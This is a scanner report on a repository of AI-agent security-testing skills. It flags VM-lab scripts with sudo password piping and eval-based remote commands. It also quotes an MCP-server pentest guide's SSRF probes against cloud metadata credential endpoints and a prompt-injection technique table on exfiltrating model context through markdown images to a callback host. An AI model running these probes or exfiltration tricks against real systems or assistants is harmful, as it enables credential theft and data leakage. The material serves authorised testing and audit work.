  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]

skills/hunter-utils/vm-lab/LEARNINGS.md

  • Dangerous shell operationline 38
    (fixed via `eval "printf '%s' \"\${$v-}\""`); (2) `${BASH_SOURCE[0]}` self-path
  • Dangerous shell operationline 48
    `sudo powermetrics -n 1 --samplers tasks` (per-proc CPU ms/s, wakeups). Likely
  • Dangerous shell operationline 64
    often ignores SIGINT (a `wait` can hang). Fix: force a pty - `sudo script -q out

skills/hunter-utils/vm-lab/SKILL.md

  • Dangerous shell operationline 40
    rc_sudo mac 'fs_usage -w'    # sudo on mac/linux (echoes the guest pw via -S)

skills/hunter-utils/vm-lab/bootstrap/linux.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 9
    if command -v apt-get >/dev/null; then sudo apt-get update && sudo apt-get install -y openssh-server
  • Dangerous shell operationline 10
    elif command -v dnf >/dev/null;   then sudo dnf install -y openssh-server
  • Dangerous shell operationline 11
    elif command -v pacman >/dev/null; then sudo pacman -S --noconfirm openssh
  • Dangerous shell operationline 13
    sudo systemctl enable --now ssh 2>/dev/null || sudo systemctl enable --now sshd
  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]

skills/hunter-utils/vm-lab/bootstrap/macos.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 3
    [Credential-related source omitted]
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 10
    [Credential-related source omitted]
  • Dangerous shell operationline 12
    # NOTE: `sudo systemsetup -setremotelogin on` fails on macOS 26 from Terminal

skills/hunter-utils/vm-lab/bootstrap/unattended.md

  • Access to secretsline 28
    [Credential-related source omitted]

skills/hunter-utils/vm-lab/bootstrap/windows.ps1

  • Executable scriptline 1
    Executable file
  • Access to secretsline 3
    [Credential-related source omitted]
  • Network accessline 11
    # Try the built-in capability first; if FoD won't fetch (common on fresh VMs:
  • Network accessline 15
    if (-not $ok) {   $arch = if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {'ARM64'} else {'Win64'}   $url  = "https://github.com/PowerShell/Win32-OpenSSH/releases/download/10.0.0.0p2-Preview/OpenSSH-$arch.zip"
  • Network accessline 16
    $arch = if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {'ARM64'} else {'Win64'}   $url  = "https://github.com/PowerShell/Win32-OpenSSH/releases/download/10.0.0.0p2-Preview/OpenSSH-$arch.zip"   $z="$env:TEMP\OpenSSH.zip"; Invoke-WebRequest $ur
  • Network accessline 17
    $url  = "https://github.com/PowerShell/Win32-OpenSSH/releases/download/10.0.0.0p2-Preview/OpenSSH-$arch.zip"

skills/hunter-utils/vm-lab/config.example.env

  • Dangerous shell operationline 12
    #   PW        password / sudo password     (AUTH=password, and sudo on mac/linux)
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]

skills/hunter-utils/vm-lab/ctl.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/hunter-utils/vm-lab/inspect-app.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/hunter-utils/vm-lab/lib.sh

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 69
    *)       eval "$(ssh_cmd "$t") '$*'" ;;
  • Dangerous shell operationline 80
    eval "$(ssh_cmd "$t") \"powershell -NoProfile -EncodedCommand $b64\"" 2>&1 \
  • Dangerous shell operationline 84
    # sudo helper for macOS/Linux guests: echo pw | sudo -S ...
  • Dangerous shell operationline 88
    eval "$(ssh_cmd "$t") 'echo $pw | sudo -S $*'"
  • Dangerous shell operationline 119
    local t="$1"; eval "$(scp_cmd "$t") -r '$2' '$(_hostspec "$t"):$3'"; }
  • Dangerous shell operationline 121
    local t="$1"; eval "$(scp_cmd "$t") -r '$(_hostspec "$t"):$2' '$3'"; }
  • Dangerous shell operationline 136
    eval "$(ssh_cmd "$t") \"powershell -NoProfile -ExecutionPolicy Bypass -File $rp$args\"" 2>&1 \
  • Dangerous shell operationline 139
    eval "$(ssh_cmd "$t") \"powershell -NoProfile -Command Remove-Item -Force -LiteralPath '$rp' -EA SilentlyContinue\"" >/dev/null 2>&1
  • Dangerous shell operationline 144
    eval "$(ssh_cmd "$t") 'bash \"$rp\"$args; rm -f \"$rp\"'"
  • Dangerous shell operationline 152
    eval "$(ssh_cmd "$t") -N $*"

skills/hunter-utils/vm-lab/providers/common.sh

  • Executable scriptline 1
    Executable file

skills/hunter-utils/vm-lab/providers/parallels.sh

  • Executable scriptline 1
    Executable file

skills/hunter-utils/vm-lab/providers/virtualbox.sh

  • Executable scriptline 1
    Executable file

skills/hunter-utils/vm-lab/providers/vmware.sh

  • Executable scriptline 1
    Executable file

skills/hunter-utils/vm-lab/toolkits/linux.md

  • Dangerous shell operationline 9
    - Non-interactive sudo: `rc_sudo lin '<cmd>'` (echoes `$PW | sudo -S`), or set up
  • Dangerous shell operationline 16
    sudo apt-get update && sudo apt-get install -y \
  • Dangerous shell operationline 20
    sudo dnf install -y strace ltrace gdb lsof tcpdump perf bcc-tools bpftrace audit sysstat htop
  • Dangerous shell operationline 22
    sudo pacman -S --noconfirm strace ltrace gdb lsof tcpdump perf bcc bpftrace audit sysstat htop
  • Dangerous shell operationline 35
    | Packet capture | `sudo tcpdump -i any -w x.pcap` |
  • Dangerous shell operationline 58
    non-root setup you may need `sudo sysctl kernel.yama.ptrace_scope=0` to attach.

skills/hunter-utils/vm-lab/toolkits/macos.md

  • Dangerous shell operationline 8
    - **Multi-line:** `rc mac 'bash -s' <<'EOF' … EOF` (or `eval "$(ssh_cmd mac) 'bash -s'"`).
  • Dangerous shell operationline 9
    - **sudo non-interactively:** `rc_sudo mac '<cmd>'` (does `echo $PW | sudo -S`).
  • Dangerous shell operationline 19
    | File activity | `sudo fs_usage -w -f filesys` |
  • Dangerous shell operationline 20
    | Socket ↔ process | `sudo lsof -nP -iTCP -sTCP:ESTABLISHED` |
  • Dangerous shell operationline 22
    | Packet capture | `sudo tcpdump -i en0 -w x.pcap` |
  • Dangerous shell operationline 27
    | File locks / open handles | `sudo lsof <path>` |
  • Dangerous shell operationline 30
    | Syscall trace | `sudo dtruss`/`ktrace` - **SIP-limited**, prefer `eslogger` |
  • Dangerous shell operationline 55
    works**: `sudo powermetrics -n 1 --samplers tasks` (per-proc CPU ms/s, wakeups).
  • Network accessline 65
    # on the guest: curl -LO https://www.python.org/ftp/python/3.12.8/python-3.12.8-macos11.pkg
  • Network accessline 66
    curl -LO https://www.python.org/ftp/python/3.12.8/python-3.12.8-macos11.pkg
  • Dangerous shell operationline 67
    echo "$PW" | sudo -S installer -pkg python-3.12.8-macos11.pkg -target /

skills/hunter-utils/vm-lab/toolkits/windows.md

  • Network accessline 45
    # x64 host/guest - CLI user-mode tools: 'autorunsc64.exe','handle64.exe','sigcheck64.exe','procdump64.exe' | % {   iwr "https://live.sysinternals.com/$_" -OutFile "$d\$_" -UseBasicParsing }
  • Network accessline 46
    'autorunsc64.exe','handle64.exe','sigcheck64.exe','procdump64.exe' | % {   iwr "https://live.sysinternals.com/$_" -OutFile "$d\$_" -UseBasicParsing } # ARM64 guest note: live.sysinternals.com serves x86/x64 only; those x64 CLIs run
  • Network accessline 47
    iwr "https://live.sysinternals.com/$_" -OutFile "$d\$_" -UseBasicParsing }
  • Network accessline 48
    # ARM64 guest note: live.sysinternals.com serves x86/x64 only; those x64 CLIs run # fine under emulation. Only driver-based Procmon needs the NATIVE ARM64 suite: #   iwr https://download.sysinternals.com/files/SysinternalsSuite-ARM64.zip -O
  • Network accessline 49
    # fine under emulation. Only driver-based Procmon needs the NATIVE ARM64 suite: #   iwr https://download.sysinternals.com/files/SysinternalsSuite-ARM64.zip -OutFile $d\s.zip #   Expand-Archive $d\s.zip $d -Force
  • Network accessline 50
    #   iwr https://download.sysinternals.com/files/SysinternalsSuite-ARM64.zip -OutFile $d\s.zip

skills/hunter-utils/vm-lab/tools/asar.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/hunter-utils/vm-lab/tools/electron-triage.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 88
    rm -f /tmp/_vmdl_f.js "$FLAGS_TALLY" "$PY" /tmp/_vmdl_list.txt /tmp/_vmdl_pkg.json

skills/hunter-utils/vm-lab/tools/inspect-linux.sh

  • Executable scriptline 1
    #!/bin/bash

skills/hunter-utils/vm-lab/tools/inspect-macos.sh

  • Executable scriptline 1
    #!/bin/bash

skills/hunter-utils/vm-lab/tools/inspect-windows.ps1

  • Executable scriptline 1
    Executable file

skills/hunter-utils/vm-lab/verify.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 53
    foreach($x in "autorunsc64.exe","handle64.exe","sigcheck64.exe","procdump64.exe"){   if(Test-Path "$dir\$x"){"  OK   {0,-24} sysinternals" -f $x}   else{"  MISS {0,-24} <-- iwr https://live.sysinternals.com/$x -OutFile $dir\$x" -f $x}}
  • Network accessline 54
    if(Test-Path "$dir\$x"){"  OK   {0,-24} sysinternals" -f $x}   else{"  MISS {0,-24} <-- iwr https://live.sysinternals.com/$x -OutFile $dir\$x" -f $x}} '
  • Network accessline 55
    else{"  MISS {0,-24} <-- iwr https://live.sysinternals.com/$x -OutFile $dir\$x" -f $x}}

skills/llms/mcp-server-pentest/SKILL.md

  • Network accessline 101
    2. **Credential-attachment test.** Aim the parameter at a host you control and read what arrived. Does the server attach its own token to a destination that is not the configured upstream? A server that strips credentials on host change (Gr
  • Network accessline 102
    3. **Internal reach.** Loopback, private and link-local ranges, and cloud metadata:    - AWS IMDSv2 is a two-step and needs method plus header control: `PUT http://169.254.169.254/latest/api/token` with `X-aws-ec2-metadata-token-ttl-seconds
  • Network accessline 103
    - AWS IMDSv2 is a two-step and needs method plus header control: `PUT http://169.254.169.254/latest/api/token` with `X-aws-ec2-metadata-token-ttl-seconds: 21600`, then `GET .../latest/meta-data/iam/security-credentials/` carrying `X-aws-ec2
  • Network accessline 104
    - GCP `http://metadata.google.internal/computeMetadata/v1/` with `Metadata-Flavor: Google`.
  • Network accessline 105
    - Azure `http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01` with `Metadata: true`.
  • Network accessline 132
    # 1 handshake + surface dump INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"probe","version":"0"}}}' curl -sik -X POST "$URL" -H 'Content-Type: applicatio
  • Network accessline 133
    INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"probe","version":"0"}}}' curl -sik -X POST "$URL" -H 'Content-Type: application/json' \   -H 'Accept: appli
  • Network accessline 134
    curl -sik -X POST "$URL" -H 'Content-Type: application/json' \
  • Network accessline 136
    SID=$(grep -i '^mcp-session-id:' /tmp/init.txt | cut -d' ' -f2 | tr -d '\r') echo "issued session: ${SID:-none}" curl -sk -X POST "$URL" -H 'Content-Type: application/json' \
  • Network accessline 137
    echo "issued session: ${SID:-none}" curl -sk -X POST "$URL" -H 'Content-Type: application/json' \   -H 'Accept: application/json, text/event-stream' ${SID:+-H "Mcp-Session-Id: $SID"} \
  • Network accessline 138
    curl -sk -X POST "$URL" -H 'Content-Type: application/json' \
  • Network accessline 160
    for hdr in "" "Mcp-Session-Id: $FAKE"; do   echo "--- ${hdr:-no session header}"   curl -sk -o /tmp/r -w '%{http_code}\n' -X POST "$URL" -H 'Content-Type: application/json' \
  • Network accessline 161
    echo "--- ${hdr:-no session header}"   curl -sk -o /tmp/r -w '%{http_code}\n' -X POST "$URL" -H 'Content-Type: application/json' \     -H 'Accept: application/json, text/event-stream' ${hdr:+-H "$hdr"} \
  • Network accessline 162
    curl -sk -o /tmp/r -w '%{http_code}\n' -X POST "$URL" -H 'Content-Type: application/json' \

skills/llms/prompt-injection-audit/references/technique-matrix.md

  • Network accessline 9
    |---|---|---|---|---| | Data exfiltration | LLM02 | Context contents reach an attacker-controlled destination | callback | fetch, or any outbound tool | | Exfil via markdown image | LLM02 | Client renders `![](https://oast/<data>)` and the 
  • Network accessline 9
    |---|---|---|---|---| | Data exfiltration | LLM02 | Context contents reach an attacker-controlled destination | callback | fetch, or any outbound tool | | Exfil via markdown image | LLM02 | Client renders `![](https://oast/<data>)` and the 
  • Network accessline 10
    | Data exfiltration | LLM02 | Context contents reach an attacker-controlled destination | callback | fetch, or any outbound tool | | Exfil via markdown image | LLM02 | Client renders `![](https://oast/<data>)` and the fetch fires | callback
  • Network accessline 10
    | Data exfiltration | LLM02 | Context contents reach an attacker-controlled destination | callback | fetch, or any outbound tool | | Exfil via markdown image | LLM02 | Client renders `![](https://oast/<data>)` and the fetch fires | callback
  • Network accessline 11
    | Exfil via markdown image | LLM02 | Client renders `![](https://oast/<data>)` and the fetch fires | callback | markdown rendering only |
  • Network accessline 11
    | Exfil via markdown image | LLM02 | Client renders `![](https://oast/<data>)` and the fetch fires | callback | markdown rendering only |

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Combined signals: 7 facts
Declared and executed: 6 facts
Signal confidence: 487 facts

and 437 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativePath CLAUDE.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md skills/applicative-pentest/broken-access-control/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/applicative-pentest/broken-access-control/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/applicative-pentest/broken-access-control/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotNativeManifest .github/copilot-instructions.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/applicative-pentest/broken-access-control/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.